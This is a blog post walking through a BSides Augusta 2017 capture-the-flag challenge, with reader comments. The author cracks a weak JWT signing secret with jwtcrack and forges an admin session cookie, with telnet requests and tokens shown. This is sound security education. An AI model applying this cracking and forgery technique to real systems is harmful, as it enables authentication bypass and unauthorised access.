loading...
Cover image for Forging JSON Web Tokens To Win a Prize

Forging JSON Web Tokens To Win a Prize

antoinette0x53 profile image Antoinette Maria ・5 min read

I received a screenshot of the above tweet from my teams intern. We're planning to attend BSides Augusta this year, so immediately everything gets thrown to the side so that I can solve (what I thought would be) a quick and easy challenge. It was neither, quick or easy. So I'm going to walk you through the 2-hour process of trying to solve this challenge. I had some help so that will be mixed in with my thoughts as well.

The Easy Part

Looking at the string of text, it looks like hex. I threw it into a hex to ascii converter online and got gibberish. I looked at the string for a minute and noticed that the first few bytes looked really familiar. 1f8b08 is the file signature for a gzip file. Let the record show, that I actually realized that the first few bytes were special on my own. I used Google to verify, but I am proud of myself for even knowing that since it wasn't knowledge that I actively knew I possessed.

I put the hex into a hex editor (also found online) and downloaded the zip file. If you do a zcat on the file, it prints out an IP address.

zcat is a handy command line tool to cat or print to the console, the contents of a zip file without decompressing the file.

~$ zcat test.gz
35.184.14.24

The Not-So-Easy Part

Visiting that IP address leads to..
site image

Right away I noticed that the site is running over port 80 a.k.a no HTTPS. Also, due to the nature of what I'm doing (trying to hack something), I knew it was probably vulnerable in some way. If you try to brute force it, you'll get a message saying that you can't do that. Below is what happens if you try to enter 'Admin' as the user and 'admin' as the password.

error

I used the 'Inspect' feature of Google Chrome to look at the source code.
There's a javascript file called 'custom.js' and inside of it I could see the handling for the login form and also a registration form that seems to be hidden and can only be accessed by the admin. Hmm... This was my brick wall. So everything beyond this point is largely based on guidance I received from the amazing security community I'm apart of in my city, SecDSM.

Telnet

Telnet is a command line tool that can be used to manually communicate with a server over a specified port. For example, if you want to send an HTTP GET request manually or specially craft one yourself, you can use telnet to do that.

$ telnet 35.184.14.24 80
Trying 35.184.14.24...
Connected to 24.14.184.35.bc.googleusercontent.com.
Escape character is '^]'.
GET /home.html HTTP/1.0

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 54
Set-Cookie: bsides_augusta_2017=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3N1ZWQiOiIyMDE3LTA3LTIwIDE2OjI0OjIwLjUyMjY0NSIsInVzZXIiOiJndWVzdCJ9.akXnslG9494KsLHyRf6pJBlCAVgmZSNBMwOE38jCF2s
Server: Werkzeug/0.12.2 Python/2.7.12
Date: Thu, 20 Jul 2017 16:24:20 GMT

<html><script>window.location.href='/'</script></html>Connection closed by foreign host.

The response from the server gave me a lot of information. I saw that the server is setting a cookie called bsides_augusta_2017 and the value looks like a base64 encoded string.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 decodes to {"alg":"HS256","typ":"JWT"}
eyJpc3N1ZWQiOiIyMDE3LTA3LTIwIDE2OjI0OjIwLjUyMjY0NSIsInVzZXIiOiJndWVzdCJ9 decodes to {"issued":"2017-07-20 16:24:20.522645","user":"guest"}

From this I knew the type of algorithm and cookie type, as well as what user we're showing up as; guest.

If You Give A Site A Cookie...

We need to find a way to forge a cookie that tells the server we're the admin. This is achieved in four steps.

Step 1: Get the Session Cookie With a GET

$ telnet 35.184.14.24 80
Trying 35.184.14.24...
Connected to 24.14.184.35.bc.googleusercontent.com.
Escape character is '^]'.
GET / HTTP/1.0

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 2091
Set-Cookie: bsides_augusta_2017=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3N1ZWQiOiIyMDE3LTA3LTI3IDAyOjExOjA1LjEwMjYzMCIsInVzZXIiOiJndWVzdCJ9.WtsckOvZlwBNlE4vJuvA9sK0LAZ0zQ47161ogfrZ1Vw
Server: Werkzeug/0.12.2 Python/2.7.12
Date: Thu, 27 Jul 2017 02:11:05 GMT

Step 2: Get The Secret Key
This site uses JSON Web Tokens. JWTs are signed using a secret key, so I needed to find out what that is in order to forge the cookie. Brendan Rius' JWT Cracker is what I used to get the key in a matter of seconds.

~/c-jwt-cracker$ ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3N1ZWQiOiIyMDE3LTA3LTI3IDAyOjExOjA1LjEwMjYzMCIsInVzZXIiOiJndWVzdCJ9.WtsckOvZlwBNlE4vJuvA9sK0LAZ0zQ47161ogfrZ1Vw

Secret is "l3et"

Step 3: Edit the Cookie
To edit the cookie, I used jsonwebtoken.io with the secret I uncovered using jwtcrack.

Step 4: Insert The New Value For Your Cookie
There are multiple ways to do this. I have a plugin on my Chrome Browser called Edit This Cookie that allows me to edit the value of a cookie directly. I used this after verifying that the value was correct with telnet.

$ telnet 35.184.14.24 80
Trying 35.184.14.24...
Connected to 24.14.184.35.bc.googleusercontent.com.
Escape character is '^]'.
GET /home.html HTTP/1.1
Host: 35.184.14.24
Cookie: bsides_augusta_2017=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3N1ZWQiOiIyMDE3LTA3LTI3IDAyOjExOjA1LjEwMjYzMCIsInVzZXIiOiJhZG1pbiIsImp0aSI6IjI1NzU0OGIxLTU4MDctNDZiNi05ZDBmLTBkY2FiNzYyM2Y0NSIsImlhdCI6MTUwMTEyMTU2MCwiZXhwIjoxNTAxMTI1MTYwfQ.mHrODuQhBBVcC954lkquc5xOVNZI0fwMuIVNjKD0EAY

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 2974
Server: Werkzeug/0.12.2 Python/2.7.12
Date: Thu, 27 Jul 2017 02:13:41 GMT

...
...
...
<!-- Created by Christopher Davis. https://www.linkedin.com/in/christopher-davis-4817b392/ -->
...
...
...                        
                    <h3>&nbsp&nbspChallenge Success!</h3>
                    <p>Good job on solving the challenge and being the #11 player to solve the challenge! As one of the first 5 players, you will receive a prize at Bsides August 2017.</br>Simply Provide your details below and someone will contact you.</br> Please do NOT register unless you are attending Bsides Augusta on Sep 16 2017. Tickets can be bought <a href="https://www.eventbrite.com/e/bsidesaugusta-2017-tickets-35553549624?ref=ecount">here</a>.</p>
...
...
...
Connection closed by foreign host.

Success

Welp, that's all folks. Replace #11 with #3 and you've got exactly what I saw.

Final Thoughts

  • A few of the other guys from SecDSM also started working on this challenge after I asked for help. One of them use BurpSuite to forward the forged cookie to the server (just in case you were curious about alternative ways). I'm not well versed in BurpSuite, but I have a feeling it'll be handy for future challenges that involving web vulnerabilities.

  • Another one of the guys is the one who found jwtcracker and the token forgery site. I asked him later how he knew to look for these. He said he didn't recognize the webserver used (As seen in the HTTP response from the telnet commands Server: Werkzeug/0.12.2 Python/2.7.12) and Googled session handling for it. I did the same and you're eventually directed toward JSON Web Tokens. The lesson here is to take the time to pay attention to everything.

  • This challenge was far more difficult than I initially thought, but it was also extremely beneficial. I've never had to forge a cookie and now I know how and now you do too. Give it a shot.

BSides Augusta is September 16th in Augusta, Georgia. Get more information on their website.

Discussion

pic
Editor guide
Collapse
philnash profile image
Phil Nash

This was a fun trip! I've been looking into JWTs a lot recently and at first I was scared there's such an easy cracker. I can only guess that if your secret is long enough (not 4 characters) that it's not going to be cracked quite so easily.

Cool challenge though!

Collapse
antoinette0x53 profile image
Antoinette Maria Author

Yes I agree. I did read a few articles while doing some further research later that suggests JWTs shouldn't be used for session management, but I won't pretend to be an expert.I'm fairly certain storing the data in a HTTPS-only cookie would not yield the same result.